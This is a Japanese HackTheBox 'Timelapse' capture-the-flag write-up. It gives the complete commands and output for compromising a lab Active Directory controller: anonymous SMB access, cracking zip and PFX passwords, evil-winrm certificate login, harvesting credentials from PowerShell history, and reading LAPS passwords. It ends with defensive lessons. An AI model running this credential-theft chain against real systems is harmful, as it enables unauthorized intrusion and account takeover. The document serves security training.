HackTheBox: Timelapse — 全実行コマンド・実行結果レポート
Nmap スキャン
DC: 53/88/389/445/5986等
→
DC: 53/88/389/445/5986等
SMB匿名ヌルセッション
Sharesへ読取りアクセス
→
Sharesへ読取りアクセス
winrm_backup.zip入手
zip2john → supremelegacy
→
zip2john → supremelegacy
legacyy_dev_auth.pfx
pfx2john → thuglegacy
→
pfx2john → thuglegacy
evil-winrm (証明書認証)
legacyy user.txt ✓
→
legacyy user.txt ✓
PS履歴からsvc_deploy窃取
LAPS_Readersグループ
→
LAPS_Readersグループ
netexec LDAP -M laps
Administrator LAPSパスワード
→
Administrator LAPSパスワード
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン — ドメインコントローラの典型的なポート群
BASH
nmap -sV -sC -p 53,88,135,139,389,445,464,593,636,3268,3269,5986,9389 10.129.90.245
RESULT(抜粋)
Nmap scan report for timelapse.htb (10.129.90.245) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb) 445/tcp open microsoft-ds? 5986/tcp open ssl/wsmans? | ssl-cert: Subject: commonName=dc01.timelapse.htb 9389/tcp open mc-nmf .NET Message Framing Service Info: Host: DC01; OS: Windows
🚨
88(Kerberos)・389(LDAP)・445(SMB)・5986(WinRM over SSL)の組み合わせは
Active DirectoryドメインコントローラのWindows Serverに典型的。ホスト名
DC01、ドメイン名 timelapse.htbがこの時点で判明する。
通常のWinRM(5985)ではなく5986(SSL版)のみ開いている点が本マシン特有。
BASH
echo "10.129.90.245 timelapse.htb" >> /etc/hosts echo "10.129.90.245 dc01.timelapse.htb" >> /etc/hosts
PHASE 2
SMB匿名ヌルセッション & バックアップファイル入手
匿名認証の確認
BASH
netexec smb 10.129.90.245 -u '' -p ''
RESULT
SMB 10.129.90.245 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01)
(domain:timelapse.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.90.245 445 DC01 [+] timelapse.htb\:
⚠️
実機でのハマりポイント: この
netexec smbの匿名ヌルセッション確認は、
まれに空出力(タイムアウトや一過性のSMB接続揺らぎ)を返すことが実際に複数回発生した。
1回失敗しただけで「SMB匿名アクセス不可」と誤判定しないよう、数回リトライしてから
結論を出すこと。同様にsmbclientでの接続もNT_STATUS_IO_TIMEOUTで
一度失敗した直後のリトライで成功することがあった。
共有の列挙と探索
BASH
smbclient -N -L //10.129.90.245/
RESULT
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Shares Disk
SYSVOL Disk Logon server share
BASH
smbclient -N //10.129.90.245/Shares -c "ls; cd Dev; ls"
RESULT
Dev D 0 Tue Oct 26 00:39:15 2021
HelpDesk D 0 Tue Oct 26 00:48:42 2021
...
winrm_backup.zip A 2611 Tue Oct 26 00:46:42 2021
✅
既定でない独自共有
Shares が匿名アクセス可能。Devフォルダに
winrm_backup.zipという明らかに意味ありげなファイルを発見。
BASH
smbclient -N //10.129.90.245/Shares -c "cd Dev; get winrm_backup.zip"
PHASE 3
2段階のパスワードクラック & 証明書によるWinRM認証
zipパスワードのクラック
BASH
zip2john winrm_backup.zip > zip.john john zip.john --wordlist=/usr/share/wordlists/rockyou.txt john zip.john --show
RESULT
winrm_backup.zip/legacyy_dev_auth.pfx:supremelegacy:legacyy_dev_auth.pfx:winrm_backup.zip
1 password hash cracked, 0 left
zip展開 → PFXファイル発見 → PFXパスワードもクラック
BASH
unzip -P supremelegacy winrm_backup.zip pfx2john legacyy_dev_auth.pfx | sed "s/b'//g; s/'\$//g" > pfx.john john pfx.john --wordlist=/usr/share/wordlists/rockyou.txt john pfx.john --show
RESULT
Archive: winrm_backup.zip
inflating: legacyy_dev_auth.pfx
legacyy_dev_auth.pfx:thuglegacy:::::legacyy_dev_auth.pfx
1 password hash cracked, 0 left
ℹ️
PFX(PKCS#12)ファイルはクライアント証明書+秘密鍵をひとつにまとめた形式で、
WinRM の証明書ベース認証に使われる想定で用意されたバックアップファイル。
ファイル名の「legacyy_dev_auth」から
legacyyというユーザー向けの開発用認証情報だと推測できる。
PFXから証明書と秘密鍵を分離抽出
BASH
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -nodes -out legacyy_key.pem -passin pass:thuglegacy openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out legacyy_cert.pem -passin pass:thuglegacy
ℹ️
-nocerts -nodesで秘密鍵のみ(パスフレーズ無し)、-nokeysで
証明書のみをそれぞれ別ファイルへ分離する。evil-winrmの-c(証明書)
-k(鍵)オプションにこの2ファイルをそのまま渡す。
PHASE 4
証明書認証でWinRM接続 → PowerShell履歴からsvc_deploy窃取 & user.txt
証明書+秘密鍵でevil-winrm接続
BASH
evil-winrm -i 10.129.90.245 -c legacyy_cert.pem -k legacyy_key.pem -S --no-colors
RESULT
*Evil-WinRM* PS C:\Users\legacyy\Documents> whoami
timelapse\legacyy
⚠️
ハマりポイント:
type C:\Users\...のようにバックスラッシュ区切りの
Windowsパスをシェルのヒアドキュメント経由で送ると、\Uや\Dが
バックスラッシュ付きエスケープシーケンスとして解釈され消えてしまうことがある
(例: C:\Users→C:sers)。evil-winrm/PowerShellは
フォワードスラッシュ C:/Users/... も正しく解釈するので、
自動化スクリプトではこちらを使うと安全。
user.txt取得
BASH (evil-winrm シェル内)
type C:/Users/legacyy/Desktop/user.txt
RESULT
37f5480b9cf84b48caa534e9f08f90a9
user.txt — legacyy
37f5480b9cf84b48caa534e9f08f90a9
PowerShellコマンド履歴から別アカウントの資格情報を発見
BASH (evil-winrm シェル内)
type C:/Users/legacyy/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt
RESULT
whoami ipconfig /all netstat -ano |select-string LIST $so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck $p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force $c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p) invoke-command -computername localhost -credential $c -port 5986 -usessl - SessionOption $so -scriptblock {whoami} get-aduser -filter * -properties *
🚨
典型的な情報漏洩パターン: 管理者がローカルでテストした際の
ConvertTo-SecureStringコマンドが平文パスワードのまま
PSReadLineの履歴ファイルに永続化されている。svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV
というドメインサービスアカウントの資格情報が丸ごと手に入った。
PHASE 5
LAPS_Readersグループ悪用 & root.txt
svc_deployの所属グループとLAPSパスワードの取得
BASH
netexec ldap 10.129.90.245 -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -d timelapse.htb -M laps
RESULT
LDAP 10.129.90.245 389 DC01 [+] timelapse.htb\svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV
LAPS 10.129.90.245 389 DC01 [*] Getting LAPS Passwords
LAPS 10.129.90.245 389 DC01 Computer:DC01$ User: Password:k1XW@+l0.!!A/VyMZ,Kvx&0[
🚨
LAPS(Local Administrator Password Solution)はドメイン内各コンピュータの
ローカルAdministratorパスワードを定期ローテーション・AD内の機密属性
(
ms-Mcs-AdmPwd)に保存する仕組み。svc_deployは
LAPS_Readersというカストム権限グループのメンバーであり、この属性を
読み取る権限を持っていた。結果としてDC01自体のローカルAdministratorパスワード
が平文で手に入る。
Administratorとしてログインしroot.txt取得
BASH
evil-winrm -i 10.129.90.245 -u administrator -p 'k1XW@+l0.!!A/VyMZ,Kvx&0[' -S --no-colors
RESULT
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami timelapse\administrator *Evil-WinRM* PS C:\Users\Administrator\Documents> type C:/Users/TRX/Desktop/root.txt e68f6aa770ac5c7eda563126296ae442
ℹ️
root.txtはAdministrator自身のデスクトップではなく、
C:\Users\TRX\Desktop\
(別のドメイン管理者アカウント「TRX」)に置かれている点に注意。
C:\Users\*\Desktop\root.txtのようにワイルドカード検索すると確実に見つかる。
root.txt — TRX (Administrator権限で読取)
e68f6aa770ac5c7eda563126296ae442
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — legacyy
37f5480b9cf84b48caa534e9f08f90a9
root.txt — TRX / Administrator
e68f6aa770ac5c7eda563126296ae442
使用した脆弱性・設定不備
| 脆弱性/不備 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| SMB匿名ヌルセッション | カスタム共有「Shares」 | 機密バックアップファイルの読み取り | Medium | 認証不要でwinrm_backup.zipをダウンロード |
| 弱いzip/PFXパスワード | winrm_backup.zip / legacyy_dev_auth.pfx | 証明書ベース認証情報の奪取 | Medium | john the ripper + rockyou.txtで2段階とも辞書攻撃でクラック成功 |
| PowerShell履歴への平文パスワード記録 | ConsoleHost_history.txt (legacyyユーザー) | 別ドメインアカウント(svc_deploy)の資格情報漏洩 | High | ConvertTo-SecureString -AsPlainTextの実行履歴がそのまま平文で永続化 |
| 過剰なLAPS読取権限 | LAPS_Readers カスタムADグループ | DC自体のローカルAdministratorパスワード窃取 | High | svc_deployがLAPS_Readersに所属 → ms-Mcs-AdmPwd属性をLDAP越しに読取可能 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap(ADドメインコントローラ特有ポート群) | timelapse.htb / DC01、WinRM-SSL(5986)のみ |
| 2 | SMB匿名アクセス | netexec/smbclient 匿名ヌルセッション | winrm_backup.zip入手 |
| 3 | 2段階クラック | zip2john/pfx2john + john (rockyou) | zip:supremelegacy → PFX:thuglegacy |
| 4 | 証明書WinRM + 横移動情報窃取 | evil-winrm + PS履歴読取 | user.txt(legacyy)、svc_deploy資格情報 |
| 5 | 権限昇格 | netexec ldap -M laps | root.txt(LAPS経由Administrator) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 開発用の資格情報バックアップ(.zip/.pfx)が匿名アクセス可能なSMB共有に放置されている | 共有フォルダのアクセス権を必要最小限のユーザー/グループに限定し、機密ファイルを汎用共有に置かない運用を徹底する。 |
| アーカイブ・証明書のパスワードが辞書攻撃で破れる強度しかない | 十分な長さ・複雑性を持つパスワード(またはパスフレーズ無しの鍵管理)を使用し、パスワードマネージャー経由で生成する。 |
| PowerShellの平文パスワード入力がコマンド履歴に永続化される | ConvertTo-SecureString -AsPlainTextを対話シェルで直接打たず、資格情報マネージャーやVaultを使う。機密操作後はClear-HistoryやPSReadLineの履歴除外設定を活用する。 |
| サービスアカウントに過剰なLAPS読取権限(LAPS_Readers)が付与されている | LAPSのパスワード参照権限は本当に必要な運用担当者・グループのみに限定し、サービスアカウントへの付与は避ける。定期的なAD ACL監査を実施する。 |

